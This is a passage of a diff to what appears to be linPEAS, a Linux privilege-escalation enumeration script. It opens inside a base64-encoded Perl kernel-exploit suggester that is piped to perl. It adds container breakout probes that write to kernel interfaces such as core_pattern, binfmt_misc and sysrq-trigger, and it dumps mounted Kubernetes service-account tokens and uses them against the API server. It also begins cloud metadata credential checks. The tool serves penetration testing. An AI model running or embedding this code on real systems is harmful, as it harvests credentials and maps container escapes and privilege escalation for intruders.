ycsCiAgICB9LAogICAgJ292ZXJsYXlmcycgPT4gewogICAgICAgIHZ1bG4gPT4gWwogICAgICAgICAgICAnMy4xMy4wJywgJzMuMTYuMCcsICczLjE5LjAnCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMTUtODY2MCcsCiAgICAgICAgbWlsID0+ICdodHRwOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLzM5MjMwJywKICAgIH0sCiAgICAncHBfa2V5JyA9PiB7CiAgICAgICAgdnVsbiA9PiBbCgkJCSczLjQuMCcsICAnMy41LjAnLCAgJzMuNi4wJywgICczLjcuMCcsICAnMy44LjAnLCAgJzMuOC4xJywgIAogICAgICAgICAgICAnMy44LjInLCAgJzMuOC4zJywgICczLjguNCcsICAnMy44LjUnLCAgJzMuOC42JywgICczLjguNycsICAKICAgICAgICAgICAgJzMuOC44JywgICczLjguOScsICAnMy45LjAnLCAgJzMuOS42JywgICczLjEwLjAnLCAnMy4xMC42JywgCiAgICAgICAgICAgICczLjExLjAnLCAnMy4xMi4wJywgJzMuMTMuMCcsICczLjEzLjEnCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMTYtMDcyOCcsCiAgICAgICAgbWlsID0+ICdodHRwOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLzM5Mjc3JywKICAgIH0sCiAgICAnZGlydHlfY293JyA9PiB7CiAgICAgICAgdnVsbiA9PiBbCiAgICAgICAgICAgICcyLjYuMjInLCAnMi42LjIzJywgJzIuNi4yNCcsICcyLjYuMjUnLCAnMi42LjI2JywgJzIuNi4yNycsIAoJCQknMi42LjI3JywgJzIuNi4yOCcsICcyLjYuMjknLCAnMi42LjMwJywgJzIuNi4zMScsICcyLjYuMzInLCAKICAgICAgICAgICAgJzIuNi4zMycsICcyLjYuMzQnLCAnMi42LjM1JywgJzIuNi4zNicsICcyLjYuMzcnLCAnMi42LjM4JywgCiAgICAgICAgICAgICcyLjYuMzknLCAnMy4wLjAnLCAgJzMuMC4xJywgICczLjAuMicsICAnMy4wLjMnLCAgJzMuMC40JywgIAogICAgICAgICAgICAnMy4wLjUnLCAgJzMuMC42JywgICczLjEuMCcsICAnMy4yLjAnLCAgJzMuMy4wJywgICczLjQuMCcsICAKICAgICAgICAgICAgJzMuNS4wJywgICczLjYuMCcsICAnMy43LjAnLCAgJzMuNy42JywgICczLjguMCcsICAnMy45LjAnCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMTYtNTE5NScsCiAgICAgICAgbWlsID0+ICdodHRwOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLzQwNjE2JywKICAgIH0sCiAgICAnYWZfcGFja2V0JyA9PiB7CiAgICAgICAgdnVsbiA9PiBbJzQuNC4wJyBdLAogICAgICAgIGN2ZSA9PiAnMjAxNi04NjU1JywKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvNDA4NzEnLAogICAgfSwKICAgICdwYWNrZXRfc2V0X3JpbmcnID0+IHsKICAgICAgICB2dWxuID0+IFsnNC44LjAnIF0sCiAgICAgICAgY3ZlID0+ICcyMDE3LTczMDgnLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy80MTk5NCcsCiAgICB9LAogICAgJ2Nsb25lX25ld3VzZXInID0+IHsKICAgICAgICB2dWxuID0+IFsKICAgICAgICAgICAgJzMuMy41JywgJzMuMy40JywgJzMuMy4yJywgJzMuMi4xMycsICczLjIuOScsICczLjIuMScsIAogICAgICAgICAgICAnMy4xLjgnLCAnMy4wLjUnLCAnMy4wLjQnLCAnMy4wLjInLCAnMy4wLjEnLCAnMy4yJywgJzMuMC4xJywgJzMuMCcKICAgICAgICBdLAogICAgICAgIGN2ZSA9PiAnTlxBJywKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvMzgzOTAnLAogICAgfSwKICAgICdnZXRfcmVrdCcgPT4gewogICAgICAgIHZ1bG4gPT4gWwogICAgICAgICAgICAnNC40LjAnLCAnNC44LjAnLCAnNC4xMC4wJywgJzQuMTMuMCcKICAgICAgICBdLAogICAgICAgIGN2ZSA9PiAnMjAxNy0xNjY5NScsCiAgICAgICAgbWlsID0+ICdodHRwOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLzQ1MDEwJywKICAgIH0sCiAgICAnZXhwbG9pdF94JyA9PiB7CiAgICAgICAgdnVsbiA9PiBbCiAgICAgICAgICAgICcyLjYuMjInLCAnMi42LjIzJywgJzIuNi4yNCcsICcyLjYuMjUnLCAnMi42LjI2JywgJzIuNi4yNycsCiAgICAgICAgICAgICcyLjYuMjcnLCAnMi42LjI4JywgJzIuNi4yOScsICcyLjYuMzAnLCAnMi42LjMxJywgJzIuNi4zMicsCiAgICAgICAgICAgICcyLjYuMzMnLCAnMi42LjM0JywgJzIuNi4zNScsICcyLjYuMzYnLCAnMi42LjM3JywgJzIuNi4zOCcsCiAgICAgICAgICAgICcyLjYuMzknLCAnMy4wLjAnLCAgJzMuMC4xJywgICczLjAuMicsICAnMy4wLjMnLCAgJzMuMC40JywKICAgICAgICAgICAgJzMuMC41JywgICczLjAuNicsICAnMy4xLjAnLCAgJzMuMi4wJywgICczLjMuMCcsICAnMy40LjAnLAogICAgICAgICAgICAnMy41LjAnLCAgJzMuNi4wJywgICczLjcuMCcsICAnMy43LjYnLCAgJzMuOC4wJywgICczLjkuMCcsCiAgICAgICAgICAgICczLjEwLjAnLCAnMy4xMS4wJywgJzMuMTIuMCcsICczLjEzLjAnLCAnMy4xNC4wJywgJzMuMTUuMCcsCiAgICAgICAgICAgICczLjE2LjAnLCAnMy4xNy4wJywgJzMuMTguMCcsICczLjE5LjAnLCAnNC4wLjAnLCAgJzQuMS4wJywKICAgICAgICAgICAgJzQuMi4wJywgICc0LjMuMCcsICAnNC40LjAnLCAgJzQuNS4wJywgICc0LjYuMCcsICAnNC43LjAnCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMTgtMTQ2NjUnLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy80NTY5NycsCiAgICB9LAogICk7Cn0KCl9fRU5EX18KPWhlYWQxIE5BTUUKCmxpbnV4X2V4cGxvaXRfc3VnZ2VzdGVyLTIucGwgLSBBIGxvY2FsIGV4cGxvaXQgc3VnZ2VzdGVyIGZvciBsaW51eAoKPWhlYWQxIERFU0NSSVBUSU9OCgpUaGlzIHBlcmwgc2NyaXB0IHdpbGwgZW51bWVyYXRlIHRoZSBwb3NzaWJsZSBleHBsb2l0cyBhdmFpbGFibGUgZm9yIGEgZ2l2ZW4ga2VybmVsIHZlcnNpb24KCj1oZWFkMSBVU0FHRQoKWy1oXSBIZWxwICh0aGlzIG1lc3NhZ2UpClsta10gS2VybmVsIG51bWJlciAoZWcuIDIuNi4yOCkKWy1kXSBPcGVuIGV4cGxvaXQgZG93bmxvYWQgbWVudQoKWW91IGNhbiBhbHNvIHByb3ZpZGUgYSBwYXJ0aWFsIGtlcm5lbCB2ZXJzaW9uIChlZy4gMi40KQp0byBzZWUgYWxsIGV4cGxvaXRzIGF2YWlsYWJsZS4KCj1oZWFkMSBBVVRIT1IKCkpvbmF0aGFuIERvbmFzIChjKSAyMDE5Cgo9Y3V0Cgo9aGVhZDEgTElDRU5TRQoKIExpbnV4IEV4cGxvaXQgU3VnZ2VzdGVyIDIKCiBUaGlzIHByb2dyYW0gaXMgZnJlZSBzb2Z0d2FyZTsgeW91IGNhbiByZWRpc3RyaWJ1dGUgaXQgYW5kL29yIG1vZGlmeQogaXQgdW5kZXIgdGhlIHRlcm1zIG9mIHRoZSBHTlUgR2VuZXJhbCBQdWJsaWMgTGljZW5zZSBhcyBwdWJsaXNoZWQgYnkKIHRoZSBGcmVlIFNvZnR3YXJlIEZvdW5kYXRpb247IGVpdGhlciB2ZXJzaW9uIDIgb2YgdGhlIExpY2Vuc2UsIG9yCiAoYXQgeW91ciBvcHRpb24pIGFueSBsYXRlciB2ZXJzaW9uLgoKIFRoaXMgcHJvZ3JhbSBpcyBkaXN0cmlidXRlZCBpbiB0aGUgaG9wZSB0aGF0IGl0IHdpbGwgYmUgdXNlZnVsLAogYnV0IFdJVEhPVVQgQU5ZIFdBUlJBTlRZOyB3aXRob3V0IGV2ZW4gdGhlIGltcGxpZWQgd2FycmFudHkgb2YKIE1FUkNIQU5UQUJJTElUWSBvciBGSVRORVNTIEZPUiBBIFBBUlRJQ1VMQVIgUFVSUE9TRS4gIFNlZSB0aGUKIEdOVSBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlIGZvciBtb3JlIGRldGFpbHMuCiAgICAgICAgCiBZb3Ugc2hvdWxkIGhhdmUgcmVjZWl2ZWQgYSBjb3B5IG9mIHRoZSBHTlUgR2VuZXJhbCBQdWJsaWMgTGljZW5zZSBhbG9uZwogd2l0aCB0aGlzIHByb2dyYW07IGlmIG5vdCwgd3JpdGUgdG8gdGhlIEZyZWUgU29mdHdhcmUgRm91bmRhdGlvbiwgSW5jLiwKIDUxIEZyYW5rbGluIFN0cmVldCwgRmlmdGggRmxvb3IsIEJvc3RvbiwgTUEgMDIxMTAtMTMwMSBVU0EuCgo9Y3V0Cg==" - echo $les2_b64 | base64 -d | perl | sed "s,$(printf '\033')\\[[0-9;]*[a-zA-Z],,g" | grep -i "CVE" -B 1 -A 10 | grep -Ev "^\-\-$" | sed -${E} "s,CVE-[0-9]+-[0-9]+,${SED_RED},g" + echo $les2_b64 | base64 -d | perl 2>/dev/null | sed "s,$(printf '\033')\\[[0-9;]*[a-zA-Z],,g" | grep -i "CVE" -B 1 -A 10 | grep -Ev "^\-\-$" | sed -${E} "s,CVE-[0-9]+-[0-9]+,${SED_RED},g" echo "" fi @@ -1344,6 +1513,22 @@ print_list "Execshield enabled? ............ "$NC print_list "SELinux enabled? ............... "$NC (sestatus 2>/dev/null || echo_not_found "sestatus") | sed "s,disabled,${SED_RED}," +#-- SY) Seccomp +print_list "Seccomp enabled? ............... "$NC +([ "$(grep Seccomp /proc/self/status | grep -v 0)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN}," + +#-- SY) AppArmor +print_list "AppArmor profile? .............. "$NC +(cat /proc/self/attr/current 2>/dev/null || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,kernel,${SED_GREEN}," + +#-- SY) AppArmor +print_list "User namespace? ................ "$NC +if [ "$(cat /proc/self/uid_map 2>/dev/null)" ]; then echo "enabled" | sed "s,enabled,${SED_GREEN},"; else echo "disabled" | sed "s,disabled,${SED_RED},"; fi + +#-- SY) cgroup2 +print_list "Cgroup2 enabled? ............... "$NC +([ "$(grep cgroup2 /proc/filesystems)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN}," + #-- SY) Gatekeeper if [ "$MACPEAS" ]; then print_list "Gatekeeper enabled? .......... "$NC @@ -1423,6 +1608,14 @@ containerCheck() { else containerType="kubernetes\n" fi fi + + # Inside concourse? + if grep "/concourse" /proc/1/mounts -qa 2>/dev/null; then + inContainer="1" + if [ "$containerType" ]; then + containerType="$containerType (concourse)\n" + fi + fi # Are we inside LXC? if env | grep "container=lxc" -qa 2>/dev/null || @@ -1467,27 +1660,33 @@ enumerateDockerSockets() { dockerVersion="$(echo_not_found)" if ! [ "$SEARCHED_DOCKER_SOCKETS" ]; then SEARCHED_DOCKER_SOCKETS="1" - for dock_sock in $(find / ! -path "/sys/*" -type s -name "docker.sock" -o -name "docker.socket" 2>/dev/null); do - if ! [ "$IAMROOT" ] && [ -w "$dock_sock" ]; then - echo "You have write permissions over Docker socket $dock_sock" | sed -${E} "s,$dock_sock,${SED_RED_YELLOW},g" - echo "Docker enummeration:" - docker_enumerated="" + for int_sock in $(find / ! -path "/sys/*" -type s -name "docker.sock" -o -name "docker.socket" -o -name "dockershim.sock" -o -name "containerd.sock" -o -name "crio.sock" -o -name "frakti.sock" -o -name "rktlet.sock" 2>/dev/null); do + if ! [ "$IAMROOT" ] && [ -w "$int_sock" ]; then + if echo "$int_sock" | grep -Eq "docker"; then + dock_sock="$int_sock" + echo "You have write permissions over Docker socket $dock_sock" | sed -${E} "s,$dock_sock,${SED_RED_YELLOW},g" + echo "Docker enummeration:" + docker_enumerated="" - if [ "$(command -v curl)" ]; then - sockInfoResponse="$(curl -s --unix-socket $dock_sock http://localhost/info)" - dockerVersion=$(echo "$sockInfoResponse" | tr ',' '\n' | grep 'ServerVersion' | cut -d'"' -f 4) - echo $sockInfoResponse | tr ',' '\n' | grep -E "$GREP_DOCKER_SOCK_INFOS" | grep -v "$GREP_DOCKER_SOCK_INFOS_IGNORE" | tr -d '"' - if [ "$sockInfoResponse" ]; then docker_enumerated="1"; fi - fi + if [ "$(command -v curl)" ]; then + sockInfoResponse="$(curl -s --unix-socket $dock_sock http://localhost/info)" + dockerVersion=$(echo "$sockInfoResponse" | tr ',' '\n' | grep 'ServerVersion' | cut -d'"' -f 4) + echo $sockInfoResponse | tr ',' '\n' | grep -E "$GREP_DOCKER_SOCK_INFOS" | grep -v "$GREP_DOCKER_SOCK_INFOS_IGNORE" | tr -d '"' + if [ "$sockInfoResponse" ]; then docker_enumerated="1"; fi + fi - if [ "$(command -v docker)" ] && ! [ "$docker_enumerated" ]; then - sockInfoResponse="$(docker info)" - dockerVersion=$(echo "$sockInfoResponse" | tr ',' '\n' | grep 'Server Version' | cut -d' ' -f 4) - printf "$sockInfoResponse" | tr ',' '\n' | grep -E "$GREP_DOCKER_SOCK_INFOS" | grep -v "$GREP_DOCKER_SOCK_INFOS_IGNORE" | tr -d '"' + if [ "$(command -v docker)" ] && ! [ "$docker_enumerated" ]; then + sockInfoResponse="$(docker info)" + dockerVersion=$(echo "$sockInfoResponse" | tr ',' '\n' | grep 'Server Version' | cut -d' ' -f 4) + printf "$sockInfoResponse" | tr ',' '\n' | grep -E "$GREP_DOCKER_SOCK_INFOS" | grep -v "$GREP_DOCKER_SOCK_INFOS_IGNORE" | tr -d '"' + fi + + else + echo "You have write permissions over interesting socket $int_sock" | sed -${E} "s,$int_sock,${SED_RED},g" fi else - echo "You don't have write permissions over Docker socket $dock_sock" | sed -${E} "s,$dock_sock,${SED_GREEN},g" + echo "You don't have write permissions over interesting socket $int_sock" | sed -${E} "s,$int_sock,${SED_GREEN},g" fi done fi @@ -1521,6 +1720,39 @@ checkContainerExploits() { fi } +checkProcSysBreakouts(){ + if [ "$(ls -l /sys/fs/cgroup/*/release_agent 2>/dev/null)" ]; then release_agent_breakout1="Yes"; else release_agent_breakout1="No"; fi + + mkdir /tmp/cgroup_3628d4 + mount -t cgroup -o memory cgroup /tmp/cgroup_3628d4 2>/dev/null + if [ $? -eq 0 ]; then release_agent_breakout2="Yes"; else release_agent_breakout2="No"; fi + rm -rf /tmp/cgroup_3628d4 2>/dev/null + + core_pattern_breakout="$( (echo -n '' > /proc/sys/kernel/core_pattern && echo Yes) 2>/dev/null || echo No)" + modprobe_present="$(ls -l `cat /proc/sys/kernel/modprobe` || echo No)" + panic_on_oom_dos="$( (echo -n '' > /proc/sys/vm/panic_on_oom && echo Yes) 2>/dev/null || echo No)" + panic_sys_fs_dos="$( (echo -n '' > /proc/sys/fs/suid_dumpable && echo Yes) 2>/dev/null || echo No)" + binfmt_misc_breakout="$( (echo -n '' > /proc/sys/fs/binfmt_misc/register && echo Yes) 2>/dev/null || echo No)" + proc_configgz_readable="$([ -r '/proc/config.gz' ] 2>/dev/null && echo Yes || echo No)" + sysreq_trigger_dos="$( (echo -n '' > /proc/sysrq-trigger && echo Yes) 2>/dev/null || echo No)" + kmsg_readable="$( (dmesg > /dev/null 2>&1 && echo Yes) 2>/dev/null || echo No)" # Kernel Exploit Dev + kallsyms_readable="$( (head -n 1 /proc/kallsyms > /dev/null && echo Yes )2>/dev/null || echo No)" # Kernel Exploit Dev + mem_readable="$( (head -n 1 /proc/self/mem > /dev/null && echo Yes) 2>/dev/null || echo No)" + if [ "$(head -n 1 /tmp/kcore 2>/dev/null)" ]; then kcore_readable="Yes"; else kcore_readable="No"; fi + kmem_readable="$( (head -n 1 /proc/kmem > /dev/null && echo Yes) 2>/dev/null || echo No)" + kmem_writable="$( (echo -n '' > /proc/kmem > /dev/null && echo Yes) 2>/dev/null || echo No)" + mem_readable="$( (head -n 1 /proc/mem > /dev/null && echo Yes) 2>/dev/null || echo No)" + mem_writable="$( (echo -n '' > /proc/mem > /dev/null && echo Yes) 2>/dev/null || echo No)" + sched_debug_readable="$( (head -n 1 /proc/sched_debug > /dev/null && echo Yes) 2>/dev/null || echo No)" + mountinfo_readable="$( (head -n 1 /proc/*/mountinfo > /dev/null && echo Yes) 2>/dev/null || echo No)" + uevent_helper_breakout="$( (echo -n '' > /sys/kernel/uevent_helper && echo Yes) 2>/dev/null || echo No)" + vmcoreinfo_readable="$( (head -n 1 /sys/kernel/vmcoreinfo > /dev/null && echo Yes) 2>/dev/null || echo No)" + security_present="$( (ls -l /sys/kernel/security > /dev/null && echo Yes) 2>/dev/null || echo No)" + security_writable="$( (echo -n '' > /sys/kernel/security/a && echo Yes) 2>/dev/null || echo No)" + efi_vars_writable="$( (echo -n '' > /sys/firmware/efi/vars && echo Yes) 2>/dev/null || echo No)" + efi_efivars_writable="$( (echo -n '' > /sys/firmware/efi/efivars && echo Yes) 2>/dev/null || echo No)" +} + ############################################## #---------------) Containers (---------------# @@ -1535,6 +1767,9 @@ command -v kubectl command -v podman command -v runc +print_2title "Am I Containered?" +execBin "AmIContainered" "https://github.com/genuinetools/amicontained" "$FAT_LINPEAS_AMICONTAINED" + print_2title "Container details" print_list "Is this a container? ...........$NC $containerType" @@ -1575,6 +1810,7 @@ if echo "$containerType" | grep -qi "docker"; then if [ "$inContainer" ]; then checkDockerRootless print_list "Rootless Docker? ................ $DOCKER_ROOTLESS\n"$NC | sed -${E} "s,No,${SED_RED}," | sed -${E} "s,Yes,${SED_GREEN}," + echo "" fi if df -h | grep docker; then print_2title "Docker Overlays" @@ -1582,35 +1818,117 @@ if echo "$containerType" | grep -qi "docker"; then fi fi +#If token secrets mounted +if [ "$(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p')" ]; then + print_2title "Listing mounted tokens" + print_info "https://book.hacktricks.xyz/cloud-security/pentesting-kubernetes/attacking-kubernetes-from-inside-a-pod" + ALREADY="IinItialVaaluE" + for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do + TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/')) + if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then + ALREADY="$ALREADY|$TOKEN" + echo "Directory: $i" + echo "Namespace: $(cat $i)" + echo "" + echo $TOKEN + echo "================================================================================" + echo "" + fi + done +fi + if [ "$inContainer" ]; then echo "" print_2title "Container & breakout enumeration" - print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout" print_list "Container ID ...................$NC $(cat /etc/hostname && echo '')" if echo "$containerType" | grep -qi "docker"; then print_list "Container Full ID ..............$NC $(basename $(cat /proc/1/cpuset))\n" fi + print_list "Seccomp enabled? ............... "$NC + ([ "$(grep Seccomp /proc/self/status | grep -v 0)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN}," + + print_list "AppArmor profile? .............. "$NC + (cat /proc/self/attr/current 2>/dev/null || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,kernel,${SED_GREEN}," + + print_list "User proc namespace? ........... "$NC + if [ "$(cat /proc/self/uid_map 2>/dev/null)" ]; then echo "enabled" | sed "s,enabled,${SED_GREEN},"; else echo "disabled" | sed "s,disabled,${SED_RED},"; fi checkContainerExploits - print_list "Vulnerable to CVE-2019-5021 .. $VULN_CVE_2019_5021\n"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW}," + print_list "Vulnerable to CVE-2019-5021 .... $VULN_CVE_2019_5021\n"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW}," + + print_3title "Breakout via mounts" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/sensitive-mounts" + + checkProcSysBreakouts + print_list "release_agent breakout 1........ $release_agent_breakout1\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," + print_list "release_agent breakout 2........ $release_agent_breakout2\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," + print_list "core_pattern breakout .......... $core_pattern_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," + print_list "binfmt_misc breakout ........... $binfmt_misc_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," + print_list "uevent_helper breakout ......... $uevent_helper_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," + print_list "core_pattern breakout .......... $core_pattern_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," + print_list "is modprobe present ............ $modprobe_present\n" | sed -${E} "s,/.*,${SED_RED}," + print_list "DoS via panic_on_oom ........... $panic_on_oom_dos\n" | sed -${E} "s,/Yes,${SED_RED}," + print_list "DoS via panic_sys_fs ........... $panic_sys_fs_dos\n" | sed -${E} "s,/Yes,${SED_RED}," + print_list "DoS via sysreq_trigger_dos ..... $sysreq_trigger_dos\n" | sed -${E} "s,/Yes,${SED_RED}," + print_list "/proc/config.gz readable ....... $proc_configgz_readable\n" | sed -${E} "s,/Yes,${SED_RED}," + print_list "/proc/sched_debug readable ..... $sched_debug_readable\n" | sed -${E} "s,/Yes,${SED_RED}," + print_list "/proc/*/mountinfo readable ..... $mountinfo_readable\n" | sed -${E} "s,/Yes,${SED_RED}," + print_list "/sys/kernel/security present ... $security_present\n" | sed -${E} "s,/Yes,${SED_RED}," + print_list "/sys/kernel/security writable .. $security_writable\n" | sed -${E} "s,/Yes,${SED_RED}," + if [ "$EXTRA_CHECKS" ]; then + print_list "/proc/kmsg readable ............ $kmsg_readable\n" | sed -${E} "s,/Yes,${SED_RED}," + print_list "/proc/kallsyms readable ........ $kallsyms_readable\n" | sed -${E} "s,/Yes,${SED_RED}," + print_list "/proc/self/mem readable ........ $sched_debug_readable\n" | sed -${E} "s,/Yes,${SED_RED}," + print_list "/proc/kcore readable ........... $kcore_readable\n" | sed -${E} "s,/Yes,${SED_RED}," + print_list "/proc/kmem readable ............ $kmem_readable\n" | sed -${E} "s,/Yes,${SED_RED}," + print_list "/proc/kmem writable ............ $kmem_writable\n" | sed -${E} "s,/Yes,${SED_RED}," + print_list "/proc/mem readable ............. $mem_readable\n" | sed -${E} "s,/Yes,${SED_RED}," + print_list "/proc/mem writable ............. $mem_writable\n" | sed -${E} "s,/Yes,${SED_RED}," + print_list "/sys/kernel/vmcoreinfo readable $vmcoreinfo_readable\n" | sed -${E} "s,/Yes,${SED_RED}," + print_list "/sys/firmware/efi/vars writable $efi_vars_writable\n" | sed -${E} "s,/Yes,${SED_RED}," + print_list "/sys/firmware/efi/efivars writable $efi_efivars_writable\n" | sed -${E} "s,/Yes,${SED_RED}," + fi + + echo "" + print_3title "Namespaces" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/namespaces" + ls -l /proc/self/ns/ if echo "$containerType" | grep -qi "kubernetes"; then print_list "Kubernetes namespace ...........$NC $(cat /run/secrets/kubernetes.io/serviceaccount/namespace /var/run/secrets/kubernetes.io/serviceaccount/namespace /secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null)\n" print_list "Kubernetes token ...............$NC $(cat /run/secrets/kubernetes.io/serviceaccount/token /var/run/secrets/kubernetes.io/serviceaccount/token /secrets/kubernetes.io/serviceaccount/token 2>/dev/null)\n" - print_2title "Kubernetes Information" echo "" + print_2title "Kubernetes Information" + print_info "https://book.hacktricks.xyz/cloud-security/pentesting-kubernetes/attacking-kubernetes-from-inside-a-pod" + + print_3title "Kubernetes service account folder" ls -lR /run/secrets/kubernetes.io/ /var/run/secrets/kubernetes.io/ /secrets/kubernetes.io/ 2>/dev/null echo "" print_3title "Kubernetes env vars" - (env | set) | grep -Ei "kubernetes|kube" + (env | set) | grep -Ei "kubernetes|kube" | grep -Ev "^WF=|^Wfolders=|^mounted=|^USEFUL_SOFTWARE='|^INT_HIDDEN_FILES=|^containerType=" + echo "" + + print_3title "Current sa user k8s permissions" + print_info "https://book.hacktricks.xyz/cloud-security/pentesting-kubernetes/hardening-roles-clusterroles" + kubectl auth can-i --list 2>/dev/null || curl -s -k -d "$(echo \"eyJraW5kIjoiU2VsZlN1YmplY3RSdWxlc1JldmlldyIsImFwaVZlcnNpb24iOiJhdXRob3JpemF0aW9uLms4cy5pby92MSIsIm1ldGFkYXRhIjp7ImNyZWF0aW9uVGltZXN0YW1wIjpudWxsfSwic3BlYyI6eyJuYW1lc3BhY2UiOiJlZXZlZSJ9LCJzdGF0dXMiOnsicmVzb3VyY2VSdWxlcyI6bnVsbCwibm9uUmVzb3VyY2VSdWxlcyI6bnVsbCwiaW5jb21wbGV0ZSI6ZmFsc2V9fQo=\"|base64 -d)" \ + "https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \ + -X 'POST' -H 'Content-Type: application/json' \ + --header "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" | sed "s,secrets|exec|create|patch|impersonate|\"*\",${SED_RED}," + fi echo "" print_2title "Container Capabilities" - capsh --print 2>/dev/null | sed -${E} "s,$containercapsB,${SED_RED},g" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation#capabilities-abuse-escape" + if [ "$(command -v capsh)" ]; then + capsh --print 2>/dev/null | sed -${E} "s,$containercapsB,${SED_RED},g" + else + cat /proc/self/status | grep Cap | sed -${E} "s, .*,${SED_RED},g" | sed -${E} "s,0000000000000000|00000000a80425fb,${SED_GREEN},g" + fi echo "" print_2title "Privilege Mode" @@ -1626,13 +1944,299 @@ if [ "$inContainer" ]; then echo "" print_2title "Interesting Files Mounted" - (mount -l || cat /proc/self/mountinfo || cat /proc/1/mountinfo || cat /proc/mounts || cat /proc/self/mounts || cat /proc/1/mounts )2>/dev/null | grep -Ev "$GREP_IGNORE_MOUNTS" | sed -${E} "s,docker.sock,${SED_RED_YELLOW}," + (mount -l || cat /proc/self/mountinfo || cat /proc/1/mountinfo || cat /proc/mounts || cat /proc/self/mounts || cat /proc/1/mounts )2>/dev/null | grep -Ev "$GREP_IGNORE_MOUNTS" | sed -${E} "s,.sock,${SED_RED}," | sed -${E} "s,docker.sock,${SED_RED_YELLOW}," | sed -${E} "s,/dev/,${SED_RED},g" echo "" print_2title "Possible Entrypoints" ls -lah /*.sh /*entrypoint* /**/entrypoint* /**/*.sh /deploy* 2>/dev/null | sort | uniq echo "" fi + +fi +echo '' +echo '' +if [ "$WAIT" ]; then echo "Press enter to continue"; read "asd"; fi + +if echo $CHECKS | grep -q cloud; then +print_title "Cloud" +########################################### +#-----------) Cloud functions (-----------# +########################################### + +GCP_GOOD_SCOPES="/devstorage.read_only|/logging.write|/monitoring|/servicecontrol|/service.management.readonly|/trace.append" +GCP_BAD_SCOPES="/cloud-platform|/compute" + +exec_with_jq(){ + if [ "$(command -v jq)" ]; then + $@ | jq; + else + $@; + fi +} + +check_gcp(){ + is_gcp="No" + if grep -q metadata.google.internal /etc/hosts 2>/dev/null || (curl --connect-timeout 2 metadata.google.internal >/dev/null 2>&1 && [ "$?" -eq "0" ]) || (wget --timeout 2 --tries 1 metadata.google.internal >/dev/null 2>&1 && [ "$?" -eq "0" ]); then + is_gcp="Yes" + fi +} + +check_aws_ecs(){ + is_aws_ecs="No" + if (env | grep -q ECS_CONTAINER_METADATA_URI_v4); then + is_aws_ecs="Yes"; + aws_ecs_metadata_uri=$ECS_CONTAINER_METADATA_URI_v4; + aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" + + elif (env | grep -q ECS_CONTAINER_METADATA_URI); then + is_aws_ecs="Yes"; + aws_ecs_metadata_uri=$ECS_CONTAINER_METADATA_URI; + aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" + + elif (env | grep -q AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); then + is_aws_ecs="Yes"; + + + elif (curl --connect-timeout 2 "http://169.254.170.2/v2/credentials/" >/dev/null 2>&1 && [ "$?" -eq "0" ]) || (wget --timeout 2 --tries 1 "http://169.254.170.2/v2/credentials/" >/dev/null 2>&1 && [ "$?" -eq "0" ]); then + is_aws_ecs="Yes"; + + fi + + if [ "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ]; then + aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" + fi +} + +check_aws_ec2(){ + is_aws_ec2="No" + + if [ -d "/var/log/amazon/" ]; then + is_aws_ec2="Yes" + EC2_TOKEN=$(curl --connect-timeout 2 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget --timeout 2 --tries 1 -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header 